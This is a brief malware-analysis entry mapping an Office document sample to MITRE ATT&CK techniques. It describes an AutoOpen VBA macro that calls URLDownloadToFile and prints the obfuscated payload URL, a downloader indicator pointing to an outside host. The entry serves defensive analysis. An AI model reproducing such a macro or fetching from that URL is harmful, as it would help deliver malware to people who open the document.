MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The sample is an Office document containing VBA macros, specifically an AutoOpen macro, which is a common technique for initial execution. The macro utilizes the URLDownloadToFile function to download a payload from a constructed URL: "http://h$+1t$+1t$+1p$+1:$+1/$+1/$+1h$+1s$+1w$+1a$+1w$+1u$+1o$+17$+1c$+18$+1a$+1x$+1f$+1x$+1w$+13$+1.$+1c$+1o$+1m$+1/$+1a$+1l$+1f$+1h$+1". This indicates a downloader or droppper functionality, aiming to fetch and execute further malicious content.
